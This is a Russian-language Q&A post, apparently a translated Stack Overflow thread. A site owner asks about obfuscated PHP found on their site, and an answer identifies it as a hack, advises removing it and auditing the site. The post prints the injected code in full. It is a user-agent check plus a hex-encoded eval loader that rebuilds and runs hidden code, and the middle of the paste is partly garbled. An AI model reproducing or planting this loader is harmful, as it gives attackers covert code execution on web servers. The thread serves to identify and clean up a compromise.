атаки на стороне сервера. Что означает этот фрагмент кода в PHP?

Обновив сайт PHP, я наткнулся на этот кусок кода.
Это не имеет никакого смысла.

Что это может быть ??
Атака на сайт или что-то ???

 <?php

if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) && (!strstr($ua, "\x72\166\x3a\61\x31")) && (!strstr($ua, "\x61\156\x64\162\x6f\151\x64")) && (!strstr($ua, "\x6d\157\x62\151\x6c\145")) && (!strstr($ua, "\x69\160\x68\157\x6e\145")) && (!strstr($ua, "\x69\160\x61\144")) && (!strstr($ua, "\x6f\160\x65\162\x61\40\x6d"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
} ?><?php
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function fjfgg(pmpusut)tpqssutRe%x5c%x7825)Rd%x#-#C#-#O#-#N#*%x5c%x7824%x5c%x782f%x5c%x78osvufs}w;*%x5c%x787f!>>%x5c%x75c%x78257-K)udfoopdXA%x5c%x7822)7gj6<*QDU%x5c%x78!}{;)gj}l;33bq}k;opjudovg}%x5c%x7878;0]=])0#)U!%257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x782x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6Z6<%x5c%x7825!*72!%x5c%x7827!hmg%x5c%x7825)!gj!<2,*j%x5c%x782]81#%x5c%x782f#7e:5594%x5c%x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272qj%x5c%x78256<^#zsfvrf{jt)!gj!<*2bd%x5c%x7825-#1G8X6<#o]o]Y%x5c%x78257;5c%x782f%x5c%x7825r%x5c%x7878<~!!%x5c%x7825s:N}#-%x%x5c%x7824<%x5c%x78e%x5c%x7%x5c%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323z#%x5c%x785cq%x5c%x78257%x5c%x782f7#@#7%x5c%x782f7^#iubq#%xy7d]252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782x782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf%x5c%x7820hfsq)!sp!*#ojneb#-*f%x5c%x7825)sf%x5c%x787863%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x75%156%x61"]fbuf%x5c%x7860gvodujpo)##-!#~<#%x5c%x782f%x5c%x7825%x5c%x7!***b%x5c%x7825)sf%x5c%x7878pmpusut!-#8{**#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3>2b%x5c%x7825!<*qp%x5c%x71*!%x5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x76*CW&)7gj6<*K)ftpmdXA6~6<u%x5c%x78y<Cb*[%x5c%x7825h!>!%x5c%x7825tdz)%x5c%x7825bbT-%x5c%x7825b825-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5h%x5c%x7825%x5c%x782f#x5c%x7825<#462]47y]252]18y]#>q%x5c%x7825<#762]67y]567860cpV%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x787f%x5c%x7824-%x5c%x7824-!%utpI#7>%x5c%x782f7rfs%x5c%x78256<#o]1%x5c%x782f20QUUI7jsv%25!-#2#%x5c%x782f#%x5c%x7825#%x5c%x782f#o]#%x5c%x782f*)323zbe!-#jt0*?c%x7825h>#]y31]278]y3e]81]K78:56985:6197g:74985M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP5]gj6<*doj%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgAmqnj!%x5c%x782f!#0#)idubn%x5c%x786x5c%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5c%x7825l}S;2-u%x5c%x78{hnpd!opjudovg!|!**#j{hnpd]452]88]5]48]32M3]317]445]212]4tuofuopd%x5c%x7860ufh%x5c%x7860fmjg}[;ldpt%x5c%x7825}K;5tww**WYsboepn)%x5c%x7825bss-%x5c%x7825r%x5c%x7878B%x5P6]36]73]83]238M7]381]211M5]67%x7825j,,*!|%x5c%x7824-55%x61%160%x28%42%x66%152%x66%147%x67%42%x2c%163%x74%162%85-t.98]K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e27rfs%x5c%x78256~6<%x5c%x787fw6<*K)ftpmdXA6|7**197-2qj%x5j>1<%x5c%x7825j=tj{fpg)%x5c%x7825%x5c%x7824-%x5c%x7824*<!~!ds822!pd%x5c%x7825)!gj}Z;h!o:|:**t%x5c%x7825)m%x5c%x7!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}<u%x5c%x7825V%x5c%x7827{ftmfV%x5c%x787f<*X&Z&S{ftmfV%x5c%x787f<*Xbek!~!<b%x5c%x7825%x5c%x787f!5c%x7825o:W%x5c%x7825c:>1<%x5c%x7825b:>1<!gps)%x5c%x7825j:>1<%x52]38y]572]48y]#>m%x5c%x7825:|:*r%x5c%x7825:-t%x5c%x7825)3of:opjudovg<5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tfs%x5c%x78]+^?]_%x5c%x785c}X%x5c%x7824<!%x5c%x7825tzw>!#]y76]277]!%x5c%x7825mm!>!#]y81]%x7825:osvufs:~:<*9-1-r%x5c%x782y74]256]y39]252]y83]273]y72]282#<!%x5c%x7825tjw!>!#]x5c%x7825!osvufs!*!+A!>!{e%x5c%x7825)!>27!hmg%x5c%x7825)!gj!~<ofmy%x5c%x7825,3,j%x5c%x7O%x5c%x7822#)fepmqyfAW~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tus%x7825):fmji%x5c%x7878:<##:>:8:|:7#6#)tutjyf%x5c%x7860439275ttfsqnpdov{h19275j{hnpd19275fu*qp%x5c%x7825!-uyfu%x5c%x7825)3of)fepdof%x5c%x78!%x5c%x78242178}527}88:}334}472%x5c%x7824<!hmg%x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j8Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r%x5c%x7878825>j%x5c%x7825!<**3-!OVMM*<%x22%51%x29%51%x29%73", NULL); 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$ocskvyfdqx = explode(chr((235 - 191)) , '818,35,4175,64,3243,58,10019,21,1481,56,7033,33,9024,59,5326,57,1686,59,9997,22,6700,49,9235,48,957,43,2373,61,9124,24,3546,52,6656,44,4065,66,7902,34,4455,34,3502,44,7578,38,9473,37,3774,22,4735,58,84,22,5432,56,3405,49,6749,60,2571,34,1646,20,9331,57,3678,68,3923,58,7256,68,6588,68,530,48,1084,48,1745,24,2605,28,4959,49,9839,27,9193,42,8579,38,1666,20,5865,57,128,44,2749,63,6984,49,9442,31,7851,51,2900,29,5164,55,9168,25,2180,68,230,39,5601,37,9148,20,3375,30,5550,26,2057,49,9739,38,9580,67,7936,31,6407,67,3598,58,9388,54,6122,48,6528,21,7155,52,7124,31,7642,45,9510,70,8087,65,5107,26,2633,24,780,38,8351,44,300,44,3746,28,6170,21,4386,25,4548,64,8617,42,2472,70,6944,40,4025,40,8971,53,853,23,4297,38,578,30,3156,28,269,31,5008,34,4131,44,3301,32,2689,60,1270,42,3112,44,608,29,3874,49,5703,29,425,52,1170,68,6317,48,3184,37,8812,25,1623,23,8680,60,2812,20,6809,64,7427,68,1572,21,6256,61,8740,31,2657,32,8524,55,8495,29,6083,39,1132,38,4664,47,5638,65,7519,59,2029,28,1359,45,2991,52,637,40,4335,51,8837,31,8771,41,3454,48,5042,65,4793,69,5922,55,2106,27,8659,21,6031,52,8206,63,9083,41,42,42,404,21,2133,47,5999,32,9777,62,2929,62,1593,30,5576,25,3221,22,6227,29,1846,69,4612,52,5796,69,9923,27,6365,42,5977,22,1537,35,8305,46,4711,24,724,56,1312,47,2832,68,1029,55,6915,29,677,47,477,53,5303,23,8449,46,8395,54,5488,62,4239,58,8929,42,6873,42,8152,54,7495,24,1820,26,9711,28,876,53,2314,59,6474,54,6191,36,2248,66,929,28,7207,49,1915,70,5219,54,4862,47,1404,54,5383,49,3656,22,1985,44,7324,34,4909,50,9950,47,2434,38,2542,29,7616,26,7828,23,1769,51,4489,59,7066,58,1000,29,9283,48,5273,30,5133,31,9866,57,0,42,7967,50,3796,51,5732,64,9647,64,4411,44,7752,37,8269,36,7789,39,7687,65,10040,66,106,22,3043,69,3847,27,7358,69,8868,61,3333,42,344,60,1458,23,3981,44,172,58,8017,70,1238,32,6549,39');
$niqesrdxdn = substr($vwxsajnbcm, (32536 - 22430) , (34 - 27));

if (!function_exists('zzrfhvkcwo'))
{
function zzrfhvkcwo($znzwjxpcyc, $lfafkymhqq)
{
$xnhcrqpkcp = NULL;
for ($gznncvjdur = 0; $gznncvjdur < (sizeof($znzwjxpcyc) / 2); $gznncvjdur++)
{
$xnhcrqpkcp.= substr($lfafkymhqq, $znzwjxpcyc[($gznncvjdur * 2) ], $znzwjxpcyc[($gznncvjdur * 2) + 1]);
}

return $xnhcrqpkcp;
};
}

$zwqshkkfti = "\x20\57\x2a\40\x6b\170\x70\153\x66\170\x64\171\x64\142\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x32\55\x31\64\x35\51\x29\54\x20\143\x68\162\x28\50\x34\65\x30\55\x33\65\x38\51\x29\54\x20\172\x7a\162\x66\150\x76\153\x63\167\x6f\50\x24\157\x63\163\x6b\166\x79\146\x64\161\x78\54\x24\166\x77\170\x73\141\x6a\156\x62\143\x6d\51\x29\51\x3b\40\x2f\52\x20\144\x76\155\x63\147\x72\163\x76\153\x68\40\x2a\57\x20";
$fqlqhefvbx = substr($vwxsajnbcm, (52826 - 42713) , (57 - 45));
$fqlqhefvbx($niqesrdxdn, $zwqshkkfti, NULL);
$fqlqhefvbx = $zwqshkkfti;
$fqlqhefvbx = (686 - 565);
$vwxsajnbcm = $fqlqhefvbx - 1; ?>

2

Решение

Да. Это хак. Сгенерированные случайным образом имена переменных и т. Д. Запутывают содержимое и упрощают поиск при использовании сканеров — код будет выполнять то же самое, но с разными именами переменных и т. Д. На каждом сайте, поэтому вы не сможете просто найдите конкретные строки, чтобы найти его. Вот еще один пример того, как выглядит тот же взлом.

Вы должны удалить код, но, конечно, это не устранит какую-либо уязвимость, позволившую хакеру поместить его туда в первую очередь, поэтому вам необходимо провести аудит сайта и исправить это. Это далеко выходит за рамки ответа здесь и не по теме для переполнения стека. (У вас может быть больше удачи на http://security.stackexchange.com, но проверь их справочный центр перед публикацией …)

Это тоже сайт WordPress? Я бы внимательно следовал всем советам в FAQ «Мой сайт был взломан».

5

Другие решения

Других решений пока нет …

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